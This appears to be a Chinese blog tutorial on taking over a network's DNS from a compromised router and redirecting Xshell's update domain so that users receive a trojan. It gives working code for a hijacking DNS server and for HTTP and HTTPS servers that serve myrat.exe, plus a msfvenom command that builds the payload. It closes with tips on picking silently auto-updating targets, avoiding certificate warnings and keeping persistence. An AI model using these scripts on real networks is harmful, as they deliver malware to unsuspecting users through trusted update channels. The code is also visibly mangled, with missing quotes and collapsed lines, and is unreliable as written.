劫持DNS通过流量植入木马实验

前言

很多时候对目标进行渗透时一般会从web、网络设备、针对性钓鱼这三个方向入手。假设我们控制了目标网络中的一台网络设备，如路由器，内网用户流量会从这个地方经过我们怎么获取其权限呢 ？

这种时候可以在路由器上抓包分析用户流量，比如启动xshell、notepad++等软件时发送的更新请求包，然后我们替换软件更新的http响应包达到植入木马目的。

分析流量一般用tcpdump，如果只有路由器后台权限没有地方可以执行命令的话可以用DNS服务器配合HTTP代理来截获流量。

这里就演示一下去劫持软件更新服务器达到植入木马的目的

一、部署DNS服务器

为了方便演示这里将受害者机器上的DNS改为攻击者IP

下载sqlmap项目提取sqlmap\sqlmap-stable\lib\request目录中的dns.py

执行看看效果

在用户机器上ping了一下，DNS服务器这边已经成功接收域名解析请求并响应127.0.0.1

但是这个脚本中把所有域名解析请求都响应成127.0.0.1

需要修改一下

我们的需求是能够正常解析域名，再对某些指定域名进行劫持。

修改后代码如下

#!/usr/bin/env python"""Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)See the file doc/COPYING for copying permission"""import osimport reimport socketimport threadingimport timeimport dns.resolverclass DNSQuery(object): """ Used for making fake DNS resolution responses based on received raw request Reference(s):http://code.activestate.com/recipes/491264-mini-fake-dns-server/https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py """ def __init__(self, raw): self._raw = raw self._query = "" type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits if type_ == 0: # Standard query i = 12 j = ord(raw[i]) while j != 0: self._query += raw[i + 1:i + j + 1] + . i = i + j + 1 j = ord(raw[i]) def response(self, resolution): """ Crafts raw DNS resolution response packet """ retVal = "" if self._query: retVal += self._raw[:2] # Transaction ID retVal += "\\x85\\x80" # Flags (Standard query response, No error) retVal += self._raw[4:6] + self._raw[4:6] + "\\x00\\x00\\x00\\x00" # Questions and Answers Counts retVal += self._raw[12:(12 + self._raw[12:].find("\\x00") + 5)] # Original Domain Name Query retVal += "\\xc0\\x0c" # Pointer to domain name retVal += "\\x00\\x01" # Type A retVal += "\\x00\\x01" # Class IN retVal += "\\x00\\x00\\x00\\x20" # TTL (32 seconds) retVal += "\\x00\\x04" # Data length retVal += "".join(chr(int(_)) for _ in resolution.split(.)) # 4 bytes of IP return retValclass DNSServer(object): def __init__(self): self.my_resolver = dns.resolver.Resolver() self.my_resolver.nameservers = [8.8.8.8] self._check_localhost() self._requests = [] self._lock = threading.Lock() try: self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM) except AttributeError: self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(("", 53)) self._running = False self._initialized = False def _check_localhost(self): response = "" try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("", 53)) s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex")) # A www.google.com response = s.recv(512) except: pass finally: if response and "google" in response: raise socket.error("another DNS service already running on *:53") def pop(self, prefix=None, suffix=None): """ Returns received DNS resolution request (if any) that has given prefix/suffix combination (e.g. prefix..suffix.domain) """ retVal = None with self._lock: for _ in self._requests: if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I): retVal = _ self._requests.remove(_) break return retVal def get_domain_A(self,domain): try: results=self.my_resolver.query(domain,A) for i in results.response.answer: for j in i.items: try: ip_address = j.address if re.match(\d+\.+\d+\.+\d+\.+\d, ip_address): return ip_address except AttributeError as e: continue except Exception as e: return 127.0.0.1  def run(self): """ Runs a DNSServer instance as a daemon thread (killed by program exit) """ def _(): try: self._running = True self._initialized = True while True: data, addr = self._socket.recvfrom(1024) _ = DNSQuery(data) domain=_._query[:-1] ###### exploit ip=self.get_domain_A(domain) if domain==cdn.netsarang.net: ip=192.168.80.142 print domain, -> ,ip self._socket.sendto(_.response(ip), addr) with self._lock: self._requests.append(_._query) except KeyboardInterrupt: raise finally: self._running = False thread = threading.Thread(target=_) thread.daemon = True thread.start()if __name__ == "__main__": server = None try: server = DNSServer() server.run() while not server._initialized: time.sleep(0.1) while server._running: while True: _ = server.pop() if _ is None: break else: domian=_[:-1] #print "[i] %s with A %s" % (domian,server.get_domain_A(domian)) time.sleep(1) except socket.error, ex: if Permission in str(ex): print "[x] Please run with sudo/Administrator privileges" else: raise except KeyboardInterrupt: os._exit(0) finally: if server: server._running = False

这个脚本的功能是将用户的DNS请求转发给GOOGLE的DNS服务器使用户能够正常上网，然后再对指定域名做劫持

可以看到现在用户已经可以正常上网了

然后部署HTTP代理服务器

代码我已经写好了

# -*- coding: UTF-8 -*-import socketimport threading, getopt, sys, stringimport re#设置默认的最大连接数和端口号list=50port=80file_contents=open(myrat.exe,rb).read()def req_server(): return HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n+file_contents def jonnyS(client, address): try: #设置超时时间 client.settimeout(500) #接收数据的大小 buf = client.recv(2048) print buf #将接收到的信息原样的返回到客户端中 client.send(req_server()) #超时后显示退出 except socket.timeout: print time out #关闭与客户端的连接 client.close()def main(): #创建socket对象。调用socket构造函数 #AF_INET为ip地址族，SOCK_STREAM为流套接字 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #将socket绑定到指定地址，第一个参数为ip地址，第二个参数为端口号 sock.bind((0.0.0.0, port)) #设置最多连接数量 sock.listen(list) while True: #服务器套接字通过socket的accept方法等待客户请求一个连接 client, address = sock.accept() thread = threading.Thread(target=jonnyS, args=(client, address)) thread.start()if __name__ == __main__: main()

这里的功能是收到用户的HTTP请求后直接响应一个二进制文件，也就是我们的木马

效果如下

很多软件更新时都走的https所以我们还需搭建https代理服务器

搭建HTTPS代理服务器

代码如下

import socketserver, ssl, timeclass MyHTTPSHandler_socket(socketserver.BaseRequestHandler): def handle(self): context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) context.load_cert_chain(certfile="cert.pem") SSLSocket = context.wrap_socket(self.request, server_side=True) self.data = SSLSocket.recv(1024) print(self.data) file_contents=open(myrat.exe,rb).read() buf = HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n+file_contents SSLSocket.send(buf)if __name__ == "__main__": port = 443 httpd = socketserver.TCPServer((0.0.0.0, port), MyHTTPSHandler_socket) httpd.serve_forever()

执行openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes 可以生成证书

搭建好后配置木马，这里就用msf做演示

msfvenom -p windows/ -f exe -o myrat.exe

然后看一下xshell的更新请求

域名是cdn.netsarang.net,看一下流量

可以看到是走的https

在dns服务器中添加如下

架设https服务器

运行脚本和msf监听

视频效果图

总结

1.可以针对firefox等自动更新或后台静默更新的这类应用程序进行流量替换，这样成功率会很高被发现可能性也小

2.当更新包请求是https时需要注意证书问题,可以尝试利用cname绕过，比如在dns服务器上把www.baidu.com重定向到www.exploit.com，我们有www.exploit.com的合法证书这样就不会报错.

3.在路由器上修改DNS也可以作为一种持久性控制的手段，某天权限不慎丢失了，继续植入就行了。